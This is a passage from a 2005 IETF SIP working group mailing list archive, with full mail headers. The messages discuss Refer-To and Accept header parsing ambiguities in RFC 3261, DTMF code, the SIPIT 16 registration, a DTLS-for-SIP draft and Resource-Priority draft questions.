 ------_=_NextPart_001_01C50E87.38FD4D40-- --===============0446480794== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip --===============0446480794==-- From sip-bounces@ietf.org Wed Feb 9 14:24:09 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA01253 for ; Wed, 9 Feb 2005 14:24:09 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CyxlS-0007W9-Mw for sip-web-archive@ietf.org; Wed, 09 Feb 2005 14:44:42 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CyxDt-00075v-AE; Wed, 09 Feb 2005 14:10:01 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cyx4s-0004Ys-Q9 for sip@megatron.ietf.org; Wed, 09 Feb 2005 14:00:44 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA27101 for ; Wed, 9 Feb 2005 14:00:41 -0500 (EST) Received: from magus.nostrum.com ([69.5.195.2] ident=root) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CyxOj-0006NW-30 for sip@ietf.org; Wed, 09 Feb 2005 14:21:14 -0500 Received: from [10.0.1.2] (ip-12-181-64-41.adsl-dhcp.dsl.gvtc.com [12.181.64.41] (may be forged)) (authenticated bits=0) by magus.nostrum.com (8.12.11/8.12.11) with ESMTP id j19J0Yk4030456 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NO); Wed, 9 Feb 2005 13:00:35 -0600 (CST) (envelope-from rjsparks@nostrum.com) In-Reply-To: <1107868224.22752.4.camel@cdhcp80.pingtel.com> References: <53F74F5A7B94D511841C00B0D0AB16F803E534C9@baker.datcon.co.uk> <1107868224.22752.4.camel@cdhcp80.pingtel.com> Mime-Version: 1.0 (Apple Message framework v619.2) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <48fc484e0ecca3ab6b03216b8fb0e42d@nostrum.com> Content-Transfer-Encoding: 7bit From: Robert Sparks Subject: Re: [Sip] Refer-To header/RFC3261 ambiguity? Date: Wed, 9 Feb 2005 13:00:27 -0600 To: Scott Lawrence X-Mailer: Apple Mail (2.619.2) X-Spam-Score: 0.0 (/) X-Scan-Signature: 0ddefe323dd869ab027dbfff7eff0465 Content-Transfer-Encoding: 7bit Cc: SIP WG , "Paul D.Smith" X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 82c9bddb247d9ba4471160a9a865a5f3 Content-Transfer-Encoding: 7bit I thought there were outstanding bugs to clarify this wherever possible. I didn't find them on a quick scan, so I added 765. As we are waiting for the opportunity to put those clarifications in place, help spread the word: ->ANYWHERE<- in the header that name-addr / addr-spec is used, if you want URI parameters, they have to appear inside <>s, otherwise they are header parameters. RjS On Feb 8, 2005, at 7:10 AM, Scott Lawrence wrote: > On Tue, 2005-02-08 at 09:37 +0000, Paul D.Smith wrote: >> All, >> >> We've recently hit a problem with REFER interoperability, on receipt >> of a REFER request with a Refer-To header like this: >> >> Refer-To: sip:user@domain.com;user=phone?Replaces=something >> >> The issue is whether the ";user=phone" should be parsed as a URI >> parameter or a header parameter. Obviously the intent here is that >> it >> is a URI parameter, but allowing this runs counter to existing SIP >> precedent. >> >> The problem appears to be that the specification of the Refer-To >> header (in RFC 3515 section 2.1) is missing some key words that other >> headers of similar format (namely the To, From, Contact and Reply-To >> headers) have in RFC 3261. > >> It seems that it would be a good idea to impose the same requirement >> for the Refer-To header. Our guess, therefore, is that RFC 3515 >> should have the same words for the Refer-To header as RFC 3261 has >> for >> the To/From/Contact headers. Are we right? > > I think it would be an even better fix to change the 3261 text to > clarify that the rule applies to any use of addr-spec or name-addr. > > > > _______________________________________________ > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > This list is for NEW development of the core SIP Protocol > Use sip-implementors@cs.columbia.edu for questions on current sip > Use sipping@ietf.org for new developments on the application of sip _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Fri Feb 11 06:17:48 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA18292 for ; Fri, 11 Feb 2005 06:17:48 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CzZ8G-00044R-2p for sip-web-archive@ietf.org; Fri, 11 Feb 2005 06:38:44 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CzYjT-00057C-VD; Fri, 11 Feb 2005 06:13:07 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CzYds-0003by-Bq for sip@megatron.ietf.org; Fri, 11 Feb 2005 06:07:20 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA17734 for ; Fri, 11 Feb 2005 06:07:17 -0500 (EST) Received: from [67.15.60.3] (helo=mail.aftek.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CzYy3-0003s3-HK for sip@ietf.org; Fri, 11 Feb 2005 06:28:13 -0500 Received: (qmail 32630 invoked by uid 510); 11 Feb 2005 05:16:57 -0600 Received: from anuragk@aftek.com by plain.ev1servers.net by uid 508 with qmail-scanner-1.22-st-qms (clamdscan: 0.75.1. spamassassin: 2.63. Clear:RC:0(203.129.224.106):SA:0(-104.9/3.0):. Processed in 6.362406 secs); 11 Feb 2005 11:16:57 -0000 X-Spam-Status: No, hits=-104.9 required=3.0 X-Antivirus-MYDOMAIN-Mail-From: anuragk@aftek.com via plain.ev1servers.net X-Antivirus-MYDOMAIN: 1.22-st-qms (Clear:RC:0(203.129.224.106):SA:0(-104.9/3.0):. Processed in 6.362406 secs Process 32604) Received: from unknown (HELO ?10.0.0.169?) (anuragk@aftek.com@203.129.224.106) by mail.aftek.com with SMTP; 11 Feb 2005 05:16:50 -0600 From: Anurag Kabra To: sip@ietf.org Content-Type: text/plain Message-Id: <1108120090.2611.5.camel@anurag> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6-1mdk Date: Fri, 11 Feb 2005 16:38:10 +0530 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 08e48e05374109708c00c6208b534009 Content-Transfer-Encoding: 7bit Subject: [Sip] Need DTMF generation code X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 1ac7cc0a4cd376402b85bc1961a86ac2 Content-Transfer-Encoding: 7bit Hello all I am in urgent need of source code generating DTMF tones. I need to send these tones inband. Any help is appreciated. Thanks and Best Regards Anurag. _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Fri Feb 11 12:30:35 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA17576 for ; Fri, 11 Feb 2005 12:30:35 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Czex4-0004Ir-C4 for sip-web-archive@ietf.org; Fri, 11 Feb 2005 12:51:34 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CzeX2-0006Po-HA; Fri, 11 Feb 2005 12:24:40 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CzeSa-0004vG-A6 for sip@megatron.ietf.org; Fri, 11 Feb 2005 12:20:04 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA16835 for ; Fri, 11 Feb 2005 12:19:58 -0500 (EST) Received: from wproxy.gmail.com ([64.233.184.201]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Czemm-000414-9P for sip@ietf.org; Fri, 11 Feb 2005 12:40:57 -0500 Received: by wproxy.gmail.com with SMTP id 71so366285wri for ; Fri, 11 Feb 2005 09:19:25 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=N3NAcAcKA567zeZzCmepEcLUQNb7YbL8ZFlSb+UeraPrDbuv8XCBdc3NBHTMGL5O52kMfObVo0xDqxoOrk0QnhD7Ea8ZAku79jvIWyFoU38ApKlZmYXM7zoCu5GeMpPDG/Hv5l3ythy0ZdHtnPt4ofGM30NJwALzRx9AJkRyFa0= Received: by 10.54.18.56 with SMTP id 56mr150832wrr; Fri, 11 Feb 2005 09:19:25 -0800 (PST) Received: by 10.54.7.58 with HTTP; Fri, 11 Feb 2005 09:19:23 -0800 (PST) Message-ID: Date: Fri, 11 Feb 2005 11:19:23 -0600 From: Jasson Casey To: sip@ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 7655788c23eb79e336f5f8ba8bce7906 Content-Transfer-Encoding: 7bit Subject: [Sip] Accept header accept-param m-parameter ambiguity question X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Jasson Casey List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 9466e0365fc95844abaf7c3f15a05c7d Content-Transfer-Encoding: 7bit Is there an ambiguity between "*(SEMI accept-param)" and "*(SEMI m-parameter)" on page 227 of 3261. Could someone explain how you could tell the difference between a accept-param and m-parameter in a Accept: header for a SIP message? ABNF cut&pasted from 25.1 Accept = "Accept" HCOLON [ accept-range *(COMMA accept-range) ] accept-range = media-range *(SEMI accept-param) media-range = ( "*/*" / ( m-type SLASH "*" ) / ( m-type SLASH m-subtype ) ) *( SEMI m-parameter ) accept-param = ("q" EQUAL qvalue) / generic-param m-parameter = m-attribute EQUAL m-value m-attribute = token m-value = token / quoted-string generic-param = token [ EQUAL gen-value ] gen-value = token / host / quoted-string I don't see how the following header could parse properly. Accept: */*;mparametername=mparametervalue;acceptparamname=acceptparamvalue thanks, -jasson _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Fri Feb 11 17:24:26 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA02967 for ; Fri, 11 Feb 2005 17:24:26 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CzjXS-0001J3-BM for sip-web-archive@ietf.org; Fri, 11 Feb 2005 17:45:27 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Czj6O-0005xD-Lr; Fri, 11 Feb 2005 17:17:28 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Czist-00073P-QY for sip@megatron.ietf.org; Fri, 11 Feb 2005 17:03:31 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA00123 for ; Fri, 11 Feb 2005 17:03:29 -0500 (EST) Received: from magus.nostrum.com ([69.5.195.2] ident=root) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CzjD8-0000Uq-S9 for sip@ietf.org; Fri, 11 Feb 2005 17:24:30 -0500 Received: from [192.168.0.103] (c-24-1-68-89.client.comcast.net [24.1.68.89]) (authenticated bits=0) by magus.nostrum.com (8.12.11/8.12.11) with ESMTP id j1BM33PU085304 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NO); Fri, 11 Feb 2005 16:03:04 -0600 (CST) (envelope-from rjsparks@nostrum.com) Mime-Version: 1.0 (Apple Message framework v619.2) Content-Transfer-Encoding: 7bit Message-Id: Content-Type: text/plain; charset=US-ASCII; format=flowed To: sip-implementors@cs.columbia.edu, SIP WG From: Robert Sparks Date: Fri, 11 Feb 2005 16:03:02 -0600 X-Mailer: Apple Mail (2.619.2) X-Spam-Score: 0.1 (/) X-Scan-Signature: d17f825e43c9aed4fd65b7edddddec89 Content-Transfer-Encoding: 7bit Subject: [Sip] SIPIT 16 Registration is open X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.1 (/) X-Scan-Signature: de4f315c9369b71d7dd5909b42224370 Content-Transfer-Encoding: 7bit Registration for SIPIT 16 is open. The event will take place in Banff, Alberta, Canada, April 4-8. Jasomi Networks is hosting. See http://sipit16.jasomi.com and http://www.sipit.net for more details and to register. RjS _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Sat Feb 12 21:02:36 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA19749 for ; Sat, 12 Feb 2005 21:02:36 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D09QN-000887-Es for sip-web-archive@ietf.org; Sat, 12 Feb 2005 21:23:51 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D093Q-0004t2-OX; Sat, 12 Feb 2005 21:00:08 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D092p-0004je-Tt for sip@megatron.ietf.org; Sat, 12 Feb 2005 20:59:31 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA19594 for ; Sat, 12 Feb 2005 20:59:30 -0500 (EST) Received: from sj-iport-3-in.cisco.com ([171.71.176.72] helo=sj-iport-3.cisco.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D09NM-00084b-Ec for sip@ietf.org; Sat, 12 Feb 2005 21:20:45 -0500 Received: from sj-core-2.cisco.com (171.71.177.254) by sj-iport-3.cisco.com with ESMTP; 12 Feb 2005 19:11:23 +0000 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== X-IronPort-AV: i="3.88,197,1102291200"; d="scan'208,217"; a="225454083:sNHT29887828" Received: from vtg-um-e2k4.sj21ad.cisco.com (vtg-um-e2k4.cisco.com [171.70.93.57]) by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id j1D1wtq8016303; Sat, 12 Feb 2005 17:58:56 -0800 (PST) Received: e2k4.cisco.com 171.70.93.57 from 10.21.147.97 10.21.147.97 via HTTP with MS-WebStorage 6.5.6944 User-Agent: Microsoft-Entourage/11.1.0.040913 Date: Sat, 12 Feb 2005 17:58:59 -0800 From: Cullen Jennings To: "sip@ietf.org" Message-ID: Mime-version: 1.0 X-Spam-Score: 0.5 (/) X-Scan-Signature: 5a9a1bd6c2d06a21d748b7d0070ddcb8 Subject: [Sip] draft-jennings-sip-dtls X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0552077221==" Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: cd26b070c2577ac175cd3a6d878c6248 > This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --===============0552077221== Content-type: multipart/alternative; boundary="B_3191075939_9781529" > This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --B_3191075939_9781529 Content-type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Nagendra and I put together a draft on using DTLS with SIP. Until it shows up in the archives you can find it at http://scm.sipfoundry.org/rep/ietf-drafts/fluffy/draft-jennings-sip-dtls-00. html (there is a .txt version too) The abstract is: This draft specifies how to use Datagram Transport Layer Security (DTLS) as a transport for SIP. DTLS is a new protocol for providing TLS security over a datagram protocol. --B_3191075939_9781529 Content-type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable draft-jennings-sip-dtls
Nagendra and I put together a draft on using DTLS with SIP. Until it shows = up in the archives you can find it at

http://scm.sipfoundry.org/rep/ietf-drafts/fluffy/draft-jenni= ngs-sip-dtls-00.html

(there is a .txt version too)


The abstract is:

   This draft specifies how to use Datagram Transport Layer = Security
   (DTLS) as a transport for SIP.  DTLS is a new protoc= ol for providing
   TLS security over a datagram protocol. --B_3191075939_9781529-- --===============0552077221== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip --===============0552077221==-- From sip-bounces@ietf.org Sun Feb 13 03:51:16 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA05408 for ; Sun, 13 Feb 2005 03:51:16 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D0Fnu-0007I4-26 for sip-web-archive@ietf.org; Sun, 13 Feb 2005 04:12:35 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D0FQW-0005Ci-VU; Sun, 13 Feb 2005 03:48:24 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CzZ6j-0003Dg-Pg for sip@megatron.ietf.org; Fri, 11 Feb 2005 06:37:09 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA19555 for ; Fri, 11 Feb 2005 06:37:07 -0500 (EST) Received: from [202.54.64.17] (helo=hclnpd.hclt-ntl.co.in) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CzZQt-0004P8-S4 for sip@ietf.org; Fri, 11 Feb 2005 06:58:02 -0500 Received: from npd-mail.hclt-ntl.co.in ([10.105.1.104]) by hclnpd.hclt-ntl.co.in with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id 1PDAKLCB; Fri, 11 Feb 2005 17:06:29 +0530 Received: by npd-mail.hclt-ntl.co.in with Internet Mail Service (5.5.2657.72) id ; Fri, 11 Feb 2005 17:06:12 +0530 Message-ID: <4B1D6623CCBD79489DE28D1CA062A47EA18899@npd-mail.hclt-ntl.co.in> From: "Kowsalya Subramanian , NPD - Chennai" To: Anurag Kabra , sip@ietf.org Subject: RE: [Sip] Need DTMF generation code Date: Fri, 11 Feb 2005 17:06:10 +0530 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Scan-Signature: 7655788c23eb79e336f5f8ba8bce7906 X-Mailman-Approved-At: Sun, 13 Feb 2005 03:48:22 -0500 X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 9466e0365fc95844abaf7c3f15a05c7d http://www.sephail.net/projects/dtmfkit/ - has code for generating DTMF tones inband. Look at the file dtmf_encode.c in the dtmfkit.tar -----Original Message----- From: Anurag Kabra [mailto:anuragk@aftek.com] Sent: Friday, February 11, 2005 4:38 PM To: sip@ietf.org Subject: [Sip] Need DTMF generation code Hello all I am in urgent need of source code generating DTMF tones. I need to send these tones inband. Any help is appreciated. Thanks and Best Regards Anurag. _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Mon Feb 14 09:00:30 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA04529 for ; Mon, 14 Feb 2005 09:00:30 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D0h6z-0002jJ-0K for sip-web-archive@ietf.org; Mon, 14 Feb 2005 09:22:05 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D0gdB-0005bI-Qp; Mon, 14 Feb 2005 08:51:17 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D0gcB-0005VR-IH for sip@megatron.ietf.org; Mon, 14 Feb 2005 08:50:16 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA03751 for ; Mon, 14 Feb 2005 08:50:13 -0500 (EST) Received: from sj-iport-3-in.cisco.com ([171.71.176.72] helo=sj-iport-3.cisco.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D0gx2-0002U1-32 for sip@ietf.org; Mon, 14 Feb 2005 09:11:48 -0500 Received: from sj-core-2.cisco.com (171.71.177.254) by sj-iport-3.cisco.com with ESMTP; 14 Feb 2005 07:02:25 +0000 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== X-IronPort-AV: i="3.88,199,1102291200"; d="scan'208"; a="225931236:sNHT25637076" Received: from wells.cisco.com (wells.cisco.com [171.71.177.223]) by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id j1EDncq8002502; Mon, 14 Feb 2005 05:49:38 -0800 (PST) Received: from jmpolk-w2k01.diablo.cisco.com (ssh-sjc-1.cisco.com [171.68.225.134]) by wells.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id FAA12395; Mon, 14 Feb 2005 05:49:37 -0800 (PST) Message-Id: <4.3.2.7.2.20050214071641.026edfb0@localhost> X-Sender: jmpolk@localhost X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 14 Feb 2005 07:28:02 -0600 To: "Piers O'Hanlon" , Henning Schulzrinne From: "James M. Polk" Subject: Re: [Sip] Queries/Comments on Resource Priority-04 In-Reply-To: <200501241811.NAA07660@ietf.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Spam-Score: 1.1 (+) X-Scan-Signature: 0a7aa2e6e558383d84476dc338324fab Cc: sip@ietf.org, "Piers O'Hanlon" X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 1.1 (+) X-Scan-Signature: 52f7a77164458f8c7b36b66787c853da Piers sorry I didn't get back to your questions earlier (no excuses) ... answers below At 06:10 PM 1/24/2005 +0000, Piers O'Hanlon wrote: >Hi Henning, > >I've taken a look at the 05 draft and noticed most of the changes you >acknowledged below (for draft-04) don't seem to have made it into this draft. > >In addition I noticed that there is a hanging reference from section 3.4 >to section to 4.2.2 (which is not present in draft-05). thanks, this is now in section 4.1 of version -06 (thanks for catching this one, I went right over it when revising this ID) >Also just to clarify - If a UAC wants to use an OPTIONS request to >determine if a proxy supports Resource-priority - it would send a >"Require: Resource-priority" and might expect a "Supported: >Resource-priority" header and Accept-Resource-priority: namespace.value, >... (given sufficient authorisation)? I believe the normal procedure in an OPTIONs Request is to include extensions supported in an Accept header, the response should include the Supported header including the extensions listed in the Request that the Server supports. An A-R-P header could be included as well in the Response, but I believe that should be a matter of local policy to dictate the behavior of - instead of the ID including some form of compliance statement here. >Wouldn't a 420 response be obliged include a Unsupported header - or is >this assumed from RFC3261 compliance? I am assuming 3261 compliance with this, should I specify this anyway? >In the definition of strict mode all the modes are gone/deleted/put in a grave.... I hope and pray version -06 is clearer and more acceptable; as I certainly changed a lot of the text to accommodate most of the comments >Thanks, > >Piers O'Hanlon >-------------- >Computer Science >University College London cheers, James ******************* Truth is not to be argued... it is to be presented _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Mon Feb 14 11:26:14 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18778 for ; Mon, 14 Feb 2005 11:26:13 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D0jO0-00068y-Lw for sip-web-archive@ietf.org; Mon, 14 Feb 2005 11:47:50 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D0izU-0004Pa-5F; Mon, 14 Feb 2005 11:22:28 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D0ixw-0004GC-HK for sip@megatron.ietf.org; Mon, 14 Feb 2005 11:20:52 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18549 for ; Mon, 14 Feb 2005 11:20:46 -0500 (EST) Received: from smtp.dataconnection.com ([192.91.191.4]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D0jIk-00062M-2u for sip@ietf.org; Mon, 14 Feb 2005 11:42:23 -0500 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Subject: RE: [Sip] RE: wording in the dialog package on mid-dialog requests Date: Mon, 14 Feb 2005 16:19:51 -0000 Message-ID: <53F74F5A7B94D511841C00B0D0AB16F803E53513@baker.datcon.co.uk> Thread-Topic: [Sip] RE: wording in the dialog package on mid-dialog requests Thread-Index: AcUOCYw51ZSGJrVUSuCEdat+xh2h9wBih7UA From: "Paul D.Smith" To: "David R Oran" , "SIP WG" , "Paul Kyzivat" , "Rohan Mahy" X-Spam-Score: 0.0 (/) X-Scan-Signature: 7aafa0432175920a4b3e118e16c5cb64 Content-Transfer-Encoding: quoted-printable X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: f607d15ccc2bc4eaf3ade8ffa8af02a0 Content-Transfer-Encoding: quoted-printable David, Paul, Rohan, Having read David's e-mail, I believe there is one question that, if we = can answer it, holds the key to resolving this discussion. The question is: "What happens if someone challenges a BYE?" Now if we assume a couple of proxies between UAC and UAS, and everyone wants authentication, I expected the flow to be as follows. UAC P1 P2 UAS --- RQ ----> <-- 407 ---- --- RQ ----> --- RQ ----> <-- 407 ---- <-- 407 